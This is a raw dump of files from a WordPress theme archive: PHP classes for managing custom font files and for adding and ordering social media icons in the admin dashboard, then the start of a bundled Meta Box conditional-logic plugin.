		<?php
		echo ob_get_clean();
	}
}
PK     0w\tN,*K  *K  #  dashboard/inc/custom-fonts-type.phpnu [        <?php

class Penci_Custom_Fonts {
	public static $fonts = false;
	public static $font_face_rules = '';

	public function __construct() {
		add_filter( 'init', [ $this, 'register_post_type' ] );
		add_action( 'admin_init', [ $this, 'migrate_old_options' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'admin_enqueue_scripts' ] );

		add_filter( 'post_row_actions', [ $this, 'post_row_actions' ], 10, 2 );

		add_filter( 'manage_penci_cfonts_posts_columns', [ $this, 'manage_columns' ] );
		add_action( 'manage_penci_cfonts_posts_custom_column', [ $this, 'render_columns' ], 10, 2 );

		add_action( 'add_meta_boxes_penci_cfonts', [ $this, 'add_meta_boxes' ] );
		add_filter( 'upload_mimes', [ $this, 'font_upload_mimes' ] );

		add_action( 'wp_ajax_soledad_save_font_faces', [ $this, 'save_font_faces' ], 10, 2 );

		add_action( 'admin_enqueue_scripts', [ $this, 'add_inline_style_font_face_rules' ], 11 );
	}

	public function migrate_old_options() {


		$penci_data = get_option( 'penci_soledad_options' );
		$has_change = false;

		for ( $x = 1; $x <= 10; $x ++ ) {
			$font_file = penci_get_option( 'soledad_custom_font' . $x );
			$font_name = penci_get_option( 'soledad_custom_fontfamily' . $x );
			if ( $font_file && $font_name ) {

				$file_id    = attachment_url_to_postid( $font_file );

				if ( $file_id ) {

					$post_id = wp_insert_post( [
						'post_title'  => $font_name,
						'post_status' => 'publish',
						'post_type'   => 'penci_cfonts',
						'post_name'   => sanitize_title( $font_name )
					] );

					$font_data = [
						'400' => [ 'woff' => $file_id ]
					];
					update_post_meta( $post_id, 'penci_cfonts_face', $font_data );
					unset( $penci_data[ 'soledad_custom_font' . $x ] );
					unset( $penci_data[ 'soledad_custom_fontfamily' . $x ] );
					$has_change = true;
				}
			}
		}

		if ( $has_change ) {
			update_option( 'penci_soledad_options', $penci_data );
		}
	}

	/**
	 * Generate custom font-face rules when viewing/editing "Custom fonts" in admin area
	 *
	 * @since 1.7.2
	 */
	public function generate_custom_font_face_rules() {

		$fonts = self::get_custom_fonts();

		$font_face_rules = self::$font_face_rules;

		if ( $font_face_rules ) {
			update_option( 'penci_cfonts_rules', $font_face_rules );
		} else {
			delete_option( 'penci_cfonts_rules' );
		}
	}

	public function add_inline_style_font_face_rules() {
		$font_face_rules = get_option( 'penci_cfonts_rules', false );

		// Generate custom font-face rules if not exist while in wp-admin
		if ( ! $font_face_rules && is_admin() ) {

			$fonts           = self::get_custom_fonts();
			$font_face_rules = self::$font_face_rules;

			if ( $font_face_rules ) {
				update_option( 'penci_cfonts_rules', $font_face_rules );
			}
		}

		// Add inline style for custom @font-face rules
		if ( $font_face_rules ) {
			wp_add_inline_style( 'admin-css', $font_face_rules );
		}
	}

	public static function get_custom_fonts() {
		// Return already generated fonts
		if ( self::$fonts ) {
			return self::$fonts;
		}

		$font_ids = get_posts(
			[
				'post_type'      => 'penci_cfonts',
				'posts_per_page' => - 1,
				'fields'         => 'ids',
				'no_found_rows'  => true, // Skip the 'found_posts' calculation
			]
		);

		$fonts = [];

		foreach ( $font_ids as $font_id ) {
			// Add 'custom_font_' prefix for correct font order in ControlTypography.vue & to build @font-face from font ID
			$fonts["custom_font_{$font_id}"] = [
				'id'        => "custom_font_{$font_id}",
				'family'    => get_the_title( $font_id ),
				'fontFaces' => self::generate_font_face_rules( $font_id ),
			];
		}

		self::$fonts = $fonts;

		return $fonts;
	}

	public static function generate_font_face_rules( $font_id = 0 ) {
		$font_faces = get_post_meta( $font_id, 'penci_cfonts_face', true );

		if ( ! $font_faces ) {
			return;
		}

		$font_family     = get_the_title( $font_id );
		$font_face_rules = '';

		// $key: font-weight + variant (e.g.: 700italic)
		foreach ( $font_faces as $key => $font_face ) {
			$font_weight = filter_var( $key, FILTER_SANITIZE_NUMBER_INT );
			$font_style  = str_replace( $font_weight, '', $key );
			$src         = [];

			foreach ( $font_face as $format => $value ) {
				$font_variant_url = wp_get_attachment_url( $font_face[ $format ] );

				if ( $font_variant_url ) {
					if ( $format === 'ttf' ) {
						$format = 'truetype';
					} elseif ( $format === 'otf' ) {
						$format = 'opentype';
					} elseif ( $format === 'eot' ) {
						$format = 'embedded-opentype';
					}

					// Load woff2 first @since 1.4 (smaller file size, almost same support as 'woff')
					if ( $format === 'woff2' ) {
						array_unshift( $src, "url($font_variant_url) format(\"$format\")" );
					} else {
						array_push( $src, "url($font_variant_url) format(\"$format\")" );
					}
				}
			}

			if ( ! count( $src ) ) {
				return;
			}

			$src = implode( ',', $src );

			if ( $font_family && $src ) {
				$font_face_rules .= '@font-face{';
				$font_face_rules .= "font-family:\"$font_family\";";

				if ( $font_weight ) {
					$font_face_rules .= "font-weight:$font_weight;";
				}

				if ( $font_style ) {
					$font_face_rules .= "font-style:$font_style;";
				}

				$font_face_rules .= 'font-display:swap;';
				$font_face_rules .= "src:$src;";
				$font_face_rules .= '}';
			}
		}

		self::$font_face_rules .= "$font_face_rules\n";

		return $font_face_rules;
	}

	public function admin_enqueue_scripts() {
		$current_screen = get_current_screen();

		if ( is_object( $current_screen ) && $current_screen->post_type === 'penci_cfonts' ) {
			// Generate custom font-face rules on custom font edit page
			$this->generate_custom_font_face_rules();

			wp_enqueue_media();

			wp_enqueue_script( 'soledad-custom-fonts', get_template_directory_uri() . '/js/custom-fonts.min.js', [], PENCI_SOLEDAD_VERSION, true );

			$localize_script = array(
				'nonce'   => wp_create_nonce( 'pcfonts-ajax-nonce' ),
			);
			wp_localize_script( 'soledad-custom-fonts', 'PENCIFONTS', $localize_script );
		}
	}

	public function add_meta_boxes() {
		add_meta_box(
			'soledad-font-metabox',
			esc_html__( 'Manage your custom font files', 'soledad' ),
			[ $this, 'render_meta_boxes' ],
			'penci_cfonts',
			'normal',
			'default'
		);
	}


	public function font_upload_mimes( $mime_types ) {
		if ( isset( $_POST['soledadCustomFontsUpload'] ) ) {
			foreach ( $this->get_custom_fonts_mime_types() as $type => $mime ) {
				if ( ! isset( $mime_types[ $type ] ) ) {
					$mime_types[ $type ] = $mime;
				}
			}
		}

		return $mime_types;
	}

	private static function get_custom_fonts_mime_types() {
		$font_mime_types = [
			'woff' => 'application/x-font-woff',
		];

		// NOTE: Undocumented
		return apply_filters( 'soledad/custom_fonts/mime_types', $font_mime_types );
	}

	public function render_meta_boxes( $post ) {
		echo '<h2 class="title">';
		esc_html_e( 'Manage your custom font files', 'soledad' );
		echo '</h2>';

		$font_faces = get_post_meta( $post->ID, 'penci_cfonts_face', true );

		if ( is_array( $font_faces ) && count( $font_faces ) ) {
			foreach ( $font_faces as $font_variant => $font_face ) {
				echo self::render_font_faces_meta_box( $font_face, $font_variant );
			}
		} else {
			echo self::render_font_faces_meta_box( [], 400 );
		}

		echo '<button id="soledad-custom-fonts-add-font-variant" class="button button-primary">' . esc_html__( 'Add a font variant', 'soledad' ) . '</button>';
	}

	public static function generate_hash( $string, $length = 6 ) {
		// Generate SHA1 hexadecimal string (40-characters)
		$sha1        = sha1( $string );
		$sha1_length = strlen( $sha1 );
		$hash        = '';

		// Generate random site hash based on SHA1 string
		for ( $i = 0; $i < $length; $i ++ ) {
			$hash .= $sha1[ rand( 0, $sha1_length - 1 ) ];
		}

		// Convert site path to lowercase
		$hash = strtolower( $hash );

		return $hash;
	}

	public static function generate_random_id( $echo = true ) {
		$hash = self::generate_hash( md5( uniqid( rand(), true ) ) );

		if ( $echo ) {
			echo $hash;
		}

		return $hash;
	}

	public static function render_font_faces_meta_box( $font_face = [], $font_variant = 400 ) {
		$mime_types  = self::get_custom_fonts_mime_types();
		$font_weight = substr( $font_variant, 0, 3 );
		$font_style  = substr( $font_variant, 3, strlen( $font_variant ) );

		ob_start();
		?>
        <div class="soledad-font-variant">
            <div class="font-header">
                <div
                        class="soledad-font-weight-wrapper"
                        data-balloon="<?php esc_html_e( 'Font weight', 'soledad' ); ?>"
                        data-balloon-pos="top">
                    <select name="font_weight">
                        <option value="100" <?php selected( $font_weight, 100, true ); ?>><?php echo '100 (' . esc_html__( 'Thin', 'soledad' ); ?>
                            )
                        </option>
                        <option value="200" <?php selected( $font_weight, 200, true ); ?>><?php echo '200 (' . esc_html__( 'Extra Light', 'soledad' ); ?>
                            )
                        </option>
                        <option value="300" <?php selected( $font_weight, 300, true ); ?>><?php echo '300 (' . esc_html__( 'Light', 'soledad' ); ?>
                            )
                        </option>
                        <option value="400" <?php selected( $font_weight, 400, true ); ?>><?php echo '400 (' . esc_html__( 'Normal', 'soledad' ); ?>
                            )
                        </option>
                        <option value="500" <?php selected( $font_weight, 500, true ); ?>><?php echo '500 (' . esc_html__( 'Medium', 'soledad' ); ?>
                            )
                        </option>
                        <option value="600" <?php selected( $font_weight, 600, true ); ?>><?php echo '600 (' . esc_html__( 'Semi Bold', 'soledad' ); ?>
                            )
                        </option>
                        <option value="700" <?php selected( $font_weight, 700, true ); ?>><?php echo '700 (' . esc_html__( 'Bold', 'soledad' ); ?>
                            )
                        </option>
                        <option value="800" <?php selected( $font_weight, 800, true ); ?>><?php echo '800 (' . esc_html__( 'Extra Bold', 'soledad' ); ?>
                            )
                        </option>
                        <option value="900" <?php selected( $font_weight, 900, true ); ?>><?php echo '900 (' . esc_html__( 'Black', 'soledad' ); ?>
                            )
                        </option>
                    </select>
                </div>

                <div
                        class="soledad-font-style-wrapper"
                        data-balloon="<?php esc_html_e( 'Font style', 'soledad' ); ?>"
                        data-balloon-pos="top">
                    <select name="font_style">
                        <option value="" <?php selected( $font_style, '', true ); ?>><?php esc_html_e( 'Normal', 'soledad' ); ?></option>
                        <option value="italic" <?php selected( $font_style, 'italic', true ); ?>><?php esc_html_e( 'Italic', 'soledad' ); ?></option>
                        <option value="oblique" <?php selected( $font_style, 'oblique', true ); ?>><?php esc_html_e( 'Oblique', 'soledad' ); ?></option>
                    </select>
                </div>

                <div
                        class="soledad-font-preview"
                        data-balloon="<?php esc_html_e( 'Font preview', 'soledad' ); ?>"
                        data-balloon-pos="top">
					<?php
					$font_id     = get_the_ID();
					$font_family = get_the_title();
					$style       = [
						'font-family: "' . $font_family . '"',
						'font-weight: ' . $font_weight,
					];

					if ( ! empty( $font_style ) ) {
						$style[] = "font-style: $font_style";
					}
					?>
                    <div class="pangram"
                         style='<?php echo implode( ';', $style ); ?>'><?php esc_html_e( 'The quick brown fox jumps over the lazy dog.', 'soledad ' ); ?></div>
                </div>

                <div class="actions">
                    <button class="button edit"
                            data-label="<?php esc_html_e( 'Close', 'soledad' ); ?>"><?php esc_html_e( 'Edit', 'soledad' ); ?></button>
                    <button class="button delete"><?php esc_html_e( 'Delete', 'soledad' ); ?></button>
                </div>
            </div>

            <ul class="font-faces hide">
				<?php
				foreach ( $mime_types as $extension => $mime_type ) {
					$font_id     = isset( $font_face[ $extension ] ) ? $font_face[ $extension ] : '';
					$font_url    = wp_get_attachment_url( $font_id );
					$file_size   = $font_id ? ceil( filesize( get_attached_file( $font_id ) ) / 1024 ) . ' KB' : false;
					$placeholder = '';

					switch ( $extension ) {
						case 'ttf':
							$placeholder = esc_html__( 'TrueType Font: Uncompressed font data, but partial IE9+ support.', 'soledad' );
							break;

						case 'woff':
							$placeholder = esc_html__( 'Web Open Font Format: Compressed TrueType/OpenType font with information about font source and full IE9+ support (recommended).', 'soledad' );
							break;

						case 'woff2':
							$placeholder = esc_html__( 'Web Open Font Format 2.0: TrueType/OpenType font with even better compression than WOFF 1.0, but no IE browser support.', 'soledad' );
							break;
					}
					?>
                    <li class="font-face">
                        <label>
                            <div
                                    class="font-name"
                                    data-balloon="<?php echo $file_size; ?>"
                                    data-balloon-pos="top">
								<?php
								// translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2)
								printf( esc_html__( '%s file', 'soledad' ), strtoupper( $extension ) );
								?>
                            </div>
                        </label>

                        <input type="url" name="font_url" value="<?php echo $font_url; ?>"
                               placeholder="<?php echo $placeholder; ?>">
                        <input type="number" name="font_id" value="<?php echo $font_id; ?>">

                        <button
                                id="<?php echo self::generate_random_id(); ?>"
                                class="button upload<?php echo $font_id ? ' hide' : ''; ?>"
                                data-mime-type="<?php echo esc_attr( $mime_type ); ?>"
                                data-extension="<?php echo esc_attr( $extension ); ?>"
							<?php // translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2) ?>
                                data-title="<?php echo esc_attr( sprintf( esc_html__( 'Upload .%s file', 'soledad' ), $extension ) ); ?>"><?php esc_html_e( 'Upload', 'soledad' ); ?></button>
                        <button class="button remove<?php echo $font_id ? '' : ' hide'; ?>"><?php esc_html_e( 'Remove', 'soledad' ); ?></button>
                    </li>
				<?php } ?>
            </ul>
        </div>

		<?php
		return ob_get_clean();
	}

	public function save_font_faces() {

		check_ajax_referer( 'pcfonts-ajax-nonce', 'nonce' );

		$post_id    = isset( $_POST['post_id'] ) ? intval( $_POST['post_id'] ) : 0;
		$font_faces = isset( $_POST['font_faces'] ) ? json_decode( stripslashes( $_POST['font_faces'] ), true ) : false;

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json_error( [ 'message' => esc_html__( 'Not allowed', 'soledad' ) ] );
		}

		if ( count( $font_faces ) ) {
			$updated = update_post_meta( $post_id, 'penci_cfonts_face', $font_faces );
		} else {
			$updated = delete_post_meta( $post_id, 'penci_cfonts_face' );
		}

		// Update font face rules in options table (@since 1.7.2)
		if ( $updated ) {
			$fonts = self::get_custom_fonts();

			if ( is_string( self::$font_face_rules ) ) {
				update_option( 'penci_cfonts_rules', self::$font_face_rules );
			}
		}

		wp_send_json_success(
			[
				'post_id'    => $post_id,
				'font_faces' => $font_faces,
				'updated'    => $updated,
			]
		);
	}

	public function manage_columns( $columns ) {
		$columns = [
			'cb'           => '<input type="checkbox" />',
			'title'        => esc_html__( 'Font Family', 'soledad' ),
			'font_preview' => esc_html__( 'Font Preview', 'soledad' ),
		];

		$mime_types = self::get_custom_fonts_mime_types();

		foreach ( $mime_types as $extension => $label ) {
			// translators: %s: Font file extension (e.g.: TTF, WOFF, WOFF2)
			$columns[ $extension ] = sprintf( esc_html__( '%s file', 'soledad' ), strtoupper( $extension ) );
		}

		return $columns;
	}

	public function render_columns( $column, $post_id ) {
		if ( $column === 'font_preview' ) {
			echo '<div class="pangram" style="font-family: \'' . get_the_title( $post_id ) . '\'; font-size: 18px">';

			esc_html_e( 'The quick brown fox jumps over the lazy dog.', 'soledad ' );

			echo '</div>';
		}

		$extensions = array_keys( self::get_custom_fonts_mime_types() );
		$font_faces = get_post_meta( $post_id, 'penci_cfonts_face', true );

		if ( in_array( $column, $extensions ) && $font_faces ) {
			$has_font_file = false;

			foreach ( $font_faces as $font_variant => $font_face ) {
				if ( isset( $font_face[ $column ] ) ) {
					$has_font_file = true;
				}
			}

			echo $has_font_file ? '<i class="dashicons dashicons-yes-alt"></i>' : '<i class="dashicons dashicons-minus"></i>';
		}
	}

	public function post_row_actions( $actions, $post ) {
		// Remove 'Quick Edit'
		if ( $post->post_type === 'penci_cfonts' ) {
			// unset( $actions['inline hide-if-no-js'] );
			unset( $actions['view'] );
		}

		return $actions;
	}

	public function register_post_type() {
		$args = [
			'labels'              => [
				'name'               => esc_html__( 'Custom Fonts', 'soledad' ),
				'singular_name'      => esc_html__( 'Custom Font', 'soledad' ),
				'add_new'            => esc_html__( 'Add New', 'soledad' ),
				'add_new_item'       => esc_html__( 'Add New Custom Font', 'soledad' ),
				'edit_item'          => esc_html__( 'Edit Custom Font', 'soledad' ),
				'new_item'           => esc_html__( 'New Custom Font', 'soledad' ),
				'view_item'          => esc_html__( 'View Custom Font', 'soledad' ),
				'view_items'         => esc_html__( 'View Custom Fonts', 'soledad' ),
				'search_items'       => esc_html__( 'Search Custom Fonts', 'soledad' ),
				'not_found'          => esc_html__( 'No Custom Fonts found', 'soledad' ),
				'not_found_in_trash' => esc_html__( 'No Custom Font found in Trash', 'soledad' ),
				'all_items'          => esc_html__( 'All Custom Fonts', 'soledad' ),
				'menu_name'          => esc_html__( 'Custom Fonts', 'soledad' ),
			],
			'public'              => false,
			'publicly_queryable'  => false,
			'show_ui'             => true,
			'show_in_menu'        => false,
			'show_in_nav_menus'   => false,
			'exclude_from_search' => true,
			'hierarchical'        => false,
			'rewrite'             => false,
			'supports'            => [ 'title' ],
		];

		register_post_type( 'penci_cfonts', $args );
	}
}

new Penci_Custom_Fonts();PK     0w\<mq'  q'    dashboard/inc/social_order.phpnu [        <?php
if ( ! class_exists( 'Penci_Social_Order' ) ) {
	class Penci_Social_Order {
		public function __construct() {
			if ( current_user_can( 'manage_options' ) ) {
				add_action( 'admin_menu', array( $this, 'add_menu' ), 90 );
				add_action( 'admin_enqueue_scripts', array( $this, 'admin_lib' ), 90 );
				add_action( 'wp_ajax_penci_social_save_order', array( $this, 'save_order' ) );
				add_action( 'wp_ajax_soledad_add_social', array( $this, 'soledad_add_social' ) );
				add_action( 'wp_ajax_soledad_remove_social', array( $this, 'soledad_remove_social' ) );
				add_action( 'admin_enqueue_scripts', array( $this, 'admin_src' ) );
			}
		}

		public function admin_src() {
			wp_enqueue_style( 'wp-color-picker' );
			wp_enqueue_script( 'wp-color-picker' );
		}

		public function soledad_remove_social() {
			check_ajax_referer( 'ajax-nonce', '_wpnonce' );
			if ( ! current_user_can( 'manage_options' ) ) {
				return;
			}
			$name = isset( $_POST['name'] ) ? $_POST['name'] : '';

			$custom_socials = get_option( 'penci_custom_socials' );

			if ( $name && isset( $custom_socials[ $name ] ) ) {

				unset( $custom_socials[ $name ] );

				if ( update_option( 'penci_custom_socials', $custom_socials ) ) {
					wp_send_json_success(
						array(
							'type'    => 'remove',
							'message' => esc_html__( 'Social name add successfully.', 'soledad' ),
						)
					);
				}
			}
		}

		public function soledad_add_social() {

			check_ajax_referer( 'ajax-nonce', '_wpnonce' );

			if ( ! current_user_can( 'manage_options' ) ) {
				return;
			}

			$name     = isset( $_POST['name'] ) ? $_POST['name'] : '';
			$url      = isset( $_POST['url'] ) ? esc_url( $_POST['url'] ) : '';
			$icon     = isset( $_POST['icon'] ) ? $_POST['icon'] : '';
			$color    = isset( $_POST['color'] ) ? $_POST['color'] : '';
			$field_id = '_pccs_' . strtolower( sanitize_text_field( $name ) );

			$custom_socials = get_option( 'penci_custom_socials', array() );

			if ( isset( $sidebars[ $field_id ] ) ) {
				wp_send_json_error(
					array(
						'type'    => 'error',
						'message' => esc_html__( 'Social name already exists, please use a different name.', 'soledad' ),
					)
				);
			}

			$custom_socials[ $field_id ] = array(
				'name'  => $name,
				'url'   => $url,
				'icon'  => $icon,
				'color' => $color,
			);

			if ( update_option( 'penci_custom_socials', $custom_socials ) ) {
				wp_send_json_success(
					array(
						'type'    => 'add',
						'name'    => $name,
						'url'     => $url,
						'id'      => $field_id,
						'color'   => $color,
						'img'     => wp_get_attachment_image( $icon ),
						'message' => esc_html__( 'Social name add successfully.', 'soledad' ),
					)
				);
			}
		}

		public function admin_lib() {

			if ( isset( $_GET['page'] ) && $_GET['page'] == 'penci_social_order' ) {
				wp_enqueue_script( 'sortable-lib', PENCI_SOLEDAD_URL . '/inc/dashboard/js/Sortable.min.js', array(), PENCI_SOLEDAD_VERSION );
				wp_enqueue_script( 'sortable-main', PENCI_SOLEDAD_URL . '/inc/dashboard/js/social_order.js', array(), PENCI_SOLEDAD_VERSION );
			}
		}

		public function add_menu() {
			add_submenu_page(
				'soledad_dashboard_welcome',
				esc_html__( 'Add & Order of Social Icons', 'soledad' ),
				esc_html__( 'Add & Order of Social Icons', 'soledad' ),
				'manage_options',
				'penci_social_order',
				array(
					$this,
					'soledad_social_order',
				),
				3
			);
		}

		public function save_order() {
			check_ajax_referer( 'ajax-order-nonce', '_wpnonce' );
			if ( ! current_user_can( 'manage_options' ) ) {
				return;
			}
			$social_update = isset( $_REQUEST['penci_soledad_social_order_list'] ) && $_REQUEST['penci_soledad_social_order_list'] ? $_REQUEST['penci_soledad_social_order_list'] : '';
			if ( $social_update ) {
				update_option( 'penci_social_orders', $social_update );
			}
			wp_send_json_success( array( 'success' ) );
		}

		public function convert_array( $options ) {
			$return = array();
			foreach ( $options as $key => $option ) {
				$return[ $option['id'] ] = $option['label'];
			}

			return $return;
		}

		public function soledad_social_order() {
			$socials = get_option( 'penci_custom_socials', array() );
			$data    = get_option( 'penci_social_orders' );
			$options = array();
			include PENCI_SOLEDAD_DIR . '/inc/customizer/config/sections/pencidesign_new_section_social_section.php';
			$options = $this->convert_array( $options );

			if ( ! empty( $socials ) ) {
				foreach ( $socials as $slug => $attr ) {
					$options[ $slug ] = $attr['name'];
				}
			}

			if ( ! empty( $data ) ) {
				$options = penci_sortArrayByArray( $options, $data );
			}

			?>
			<div class="wrap">
				<h1><?php esc_html_e( 'Order of Social Icons', 'soledad' ); ?></h1>
				<div class="penci-soledad-social-order">
					<ul id="penci_soledad_social_order_list">
						<?php
						if ( ! empty( $options ) ) {
							foreach ( $options as $index => $option ) {

								if ( in_array( $index, array( 'penci_facebook', 'penci_twitter' ) ) ) {
									$class = penci_get_setting( $index ) ? 'has-data' : 'no-data';
								} else {
									$class = get_theme_mod( $index ) ? 'has-data' : 'no-data';
								}

								if ( isset( $socials[ $index ] ) ) {
									$class = 'has-data';
								}

								echo '<li class="' . $class . '" data-id="' . $index . '"><span>' . $option . '</span></li>';
							}
						}
						?>
					</ul>
					<?php wp_nonce_field( 'ajax-order-nonce', 'penci_ajax_processor_order_nonce' ); ?>
				</div>
				<div class="penci-new-social-wrapper">
					<h2><?php _e( 'Add new social item', 'soledad' ); ?></h2>
					<form>

						<?php wp_nonce_field( 'ajax-nonce', 'penci_ajax_processor_nonce' ); ?>

						<div style="display: flex;flex-wrap: wrap;flex-direction: revert;justify-content: space-between;">
							<div class="penci-form-field" style="flex-basis:20%">

								<input class="social_name" name="social_name" type="text" id="social_name" value=""
										placeholder="Social Name">
							</div>
							<div class="penci-form-field" style="flex-basis:20%">


								<input class="social_url" name="social_url" type="url" id="social_url" value=""
										placeholder="Social URL">
							</div>

							<div class="penci-form-field" style="flex-basis:30%">

								<input class="social_color" name="social_color" type="text" id="social_color" value=""
										placeholder="">
								<script>
									jQuery(document).ready(function ($) {

									$('.penci-form-field #social_color').wpColorPicker()

									})
								</script>
							</div>

							<div class="penci-form-field">

								<?php
								$default_image = PENCI_SOLEDAD_URL . '/images/nothumb.jpg';
								?>

								<img data-placeholder="<?php echo $default_image; ?>"
									src="<?php echo $default_image; ?>" alt="" class="penci-placeholder-img"/>


								<button class="button button-alt penci-add-icon"
										data-type="add"><?php _e( 'Upoad Icon', 'soledad' ); ?></button>
								<input type="hidden" class="penci-icon-id" name="penci-icon-id">
							</div>


							<div class="penci-form-field">

								<button class="button button-primary penci-add-social"
										data-type="add"><?php _e( '+ Add Social Item', 'soledad' ); ?></button>


							</div>
						</div>

						<div class="notes" style="margin-top: 6px;">
							<?php _e( 'You should use an <strong>SVG image</strong> for your icon to achieve the best results. You can find <strong>SVG file</strong> types for your icons by conducting a <a target="_blank" href="https://www.google.com/search?q=q=svg+icon&tbm=isch"><strong>search on Google.</strong></a>', 'soledad' ); ?>
						</div>

						<table style="margin-top:20px" class="widefat" id="penci-table">
							<tr>
								<th>Name</th>
								<th>URL</th>
								<th>Icon</th>
								<th>Color</th>
								<th>Delete</th>
							</tr>

							<?php if ( empty( $socials ) ) : ?>

								<tr class="no-social-tr">

									<td colspan="3">No Custom Social Media</td>

								</tr>

							<?php else : ?>

								<?php
								foreach ( (array) $socials as $slug => $social_data ) :

									$name  = isset( $social_data['name'] ) ? $social_data['name'] : $slug;
									$img   = isset( $social_data['icon'] ) ? $social_data['icon'] : '';
									$url   = isset( $social_data['url'] ) ? $social_data['url'] : '';
									$color = isset( $social_data['color'] ) ? $social_data['color'] : '';
									?>

									<tr>
										<td><?php echo esc_html( $name ); ?></td>

										<td><?php echo esc_html( $url ); ?></td>


										<td><?php echo wp_get_attachment_image( $img ); ?></td>

										<td><span aria-label="<?php echo esc_attr( $color ); ?>" class="social-colors-init" style="background-color: <?php echo esc_attr( $color ); ?>;"></span></td>

										<td>
											<button class="button button-small penci-remove-social" data-type="remove"
													data-slug="<?php echo esc_attr( $slug ); ?>">Delete
											</button>
										</td>
									</tr>

									<?php
								endforeach;

							endif; // empty_sidebar
							?>

						</table>

						<p class="penci-notice notice notice-success" style="padding:10px 20px; display:none"></p>

					</form>
				</div>
			</div>
			<div class="penci_soledad_social_order_update">
				<span><?php _e( 'Updated successfully', 'soledad' ); ?></span>
			</div>
			<script>
				Sortable.create(penci_soledad_social_order_list, {
				store: {
					set: function (sortable) {
					var order = sortable.toArray(),
						nonce = jQuery('[name="penci_ajax_processor_order_nonce"]').val()
					jQuery.ajax({
						method: 'POST',
						url: ajaxurl,
						data: {
						_wpnonce: nonce,
						action: 'penci_social_save_order',
						penci_soledad_social_order_list: order,
						},
					}).done(function (msg) {
						jQuery('.penci_soledad_social_order_update').fadeIn()
						setTimeout(function () {
						jQuery('.penci_soledad_social_order_update').fadeOut()
						}, 1200)
					})
					},
				},
				})
			</script>
			<?php
		}
	}
}
new Penci_Social_Order();
PK     0w\    G  dashboard/lib/meta-box-conditional-logic/meta-box-conditional-logic.phpnu [        <?php
/**
 * Plugin Name: Meta Box Conditional Logic
 * Plugin URI:  https://metabox.io/plugins/meta-box-conditional-logic/
 * Description: Control the visibility of meta boxes and fields or even HTML elements with ease.
 * Version:     1.6.13
 * Author:      MetaBox.io
 * Author URI:  https://metabox.io
 * License:     GPL2+
 *
 * @package Meta Box
 * @subpackage Meta Box Conditional Logic
 */

// Prevent loading this file directly.
defined( 'ABSPATH' ) || exit;

if ( ! function_exists( 'mb_conditional_logic_load' ) ) {
	/**
	 * Hook to 'init' with priority 5 to make sure all actions are registered before Meta Box 4.9.0 runs
	 */
	add_action( 'init', 'mb_conditional_logic_load', 5 );

	/**
	 * Load plugin files after Meta Box is loaded
	 */
	function mb_conditional_logic_load() {
		if ( ! defined( 'RWMB_VER' ) ) {
			return;
		}

		require __DIR__ . '/conditional-logic.php';
		new MB_Conditional_Logic;
	}
}
PK     0w\nۿB  B  =  dashboard/lib/meta-box-conditional-logic/conditional-logic.jsnu [        ( function ( $, window, document, wp ) {
	'use strict';

	var conditions = window.conditions,
		inputSelectors = 'input[class*="rwmb"], textarea[class*="rwmb"], select[class*="rwmb"], button[class*="rwmb"]';


	////////// SELECTOR CACHE //////////

	/**
	 * Selector cache.
	 *
	 * @link https://ttmm.io/tech/selector-caching-jquery/
	 * @param $scope Scope (jQuery element). Pass empty string to use global scope.
	 */
	function SelectorCache( $scope ) {
		this.collection = {};
		this.$scope = $scope;
	}
	SelectorCache.prototype.get = function ( selector ) {
		if ( undefined === this.collection[selector] ) {
			this.collection[selector] = this.$scope ? this.$scope.find( selector ) : $( selector );
		}

		return this.collection[selector];
	};

	var globalSelectorCache = new SelectorCache();

	function getSelectorCache( $scope ) {
		return $scope ? new SelectorCache( $scope ) : globalSelectorCache;
	}


	////////// GUTENBERG-RELATED FUNCTIONS //////////

	var wpElements = {
		page_template: '#page_template',
		post_format: 'input[name="post_format"]',
		parent_id: '#parent_id',
		post_ID: '#post_ID'
	};
	var wpGutenbergMap = {
		page_template: 'template',
		post_format: 'format',
		parent_id: 'parent',
		post_ID: 'id',
		post_category: 'categories',
		tags: 'tags'
	};

	function isGutenbergActive() {
		return document.body.classList.contains( 'block-editor-page' );
	}

	function isWpElement( element ) {
		return isGutenbergActive() ? wpGutenbergMap.hasOwnProperty( element ) : wpElements.hasOwnProperty( element );
	}

	function isGutenbergElement( element ) {
		return isGutenbergActive() ? wpGutenbergMap.hasOwnProperty( element ) : false;
	}

	function getWpSelector( element ) {
		return ! isGutenbergActive() && isWpElement( element ) ? wpElements[element] : null;
	}

	function getWpElementValue( element ) {
		if ( isGutenbergActive() ) {
			return wp.data.select( 'core/editor' ).getEditedPostAttribute( wpGutenbergMap[element] );
		}
		var $element = globalSelectorCache.get( getWpSelector( element ) );
		return 'post_format' === element ? $element.filter( ':checked' ).val() : $element.val();
	}


	////////// COMPARISON HELPER FUNCTIONS //////////

	/**
	 * Check if an array contains a value using soft comparison.
	 * Used when users set post_category = [1, 2] or ['1', '2']. Both should work.
	 * Note: Array.indexOf(), Array.includes(), _.contains() use strict comparison.
	 */
	function contains( list, value ) {
		var i = list.length;
		while ( i-- ) {
			if ( list[i] == value ) {
				return true;
			}
		}
		return false;
	}

	function compare( needle, haystack, operator ) {
		if ( needle === null || typeof needle === 'undefined' ) {
			needle = '';
		}

		switch ( operator ) {
		case '=':
			if ( ! Array.isArray( needle ) || ! Array.isArray( haystack ) ) {
				return needle == haystack;
			}
			// Simple comparison for 2 arrays.
			var ok1 = needle.every( function ( value ) {
				return contains( haystack, value );
			} );
			var ok2 = haystack.every( function ( value ) {
				return contains( needle, value );
			} );
			return ok1 && ok2;

		case '>=':
			return needle >= haystack;

		case '>':
			return needle > haystack;

		case '<=':
			return needle <= haystack;

		case '<':
			return needle < haystack;

		case 'contains':
			if ( Array.isArray( needle ) ) {
				return contains( needle, haystack );
			} else if ( typeof needle === 'string' ) {
				return needle.indexOf( haystack ) !== -1;
			}
			return needle == haystack;

		case 'in':
			if ( ! Array.isArray( needle ) ) {
				return needle == haystack || contains( haystack, needle );
			}
			// If needle is an array, 'in' means if any of needle's value in haystack.
			var found = false;
			needle.forEach( function ( value ) {
				if ( value == haystack || contains( haystack, value ) ) {
					found = true;
				}
			} );
			return found;

		case 'start_with':
		case 'starts with':
			return needle.indexOf( haystack ) === 0;

		case 'end_with':
		case 'ends with':
			haystack = new RegExp( haystack + '$' );
			return haystack.test( needle );

		case 'match':
			haystack = new RegExp( haystack );
			return haystack.test( needle );

		case 'between':
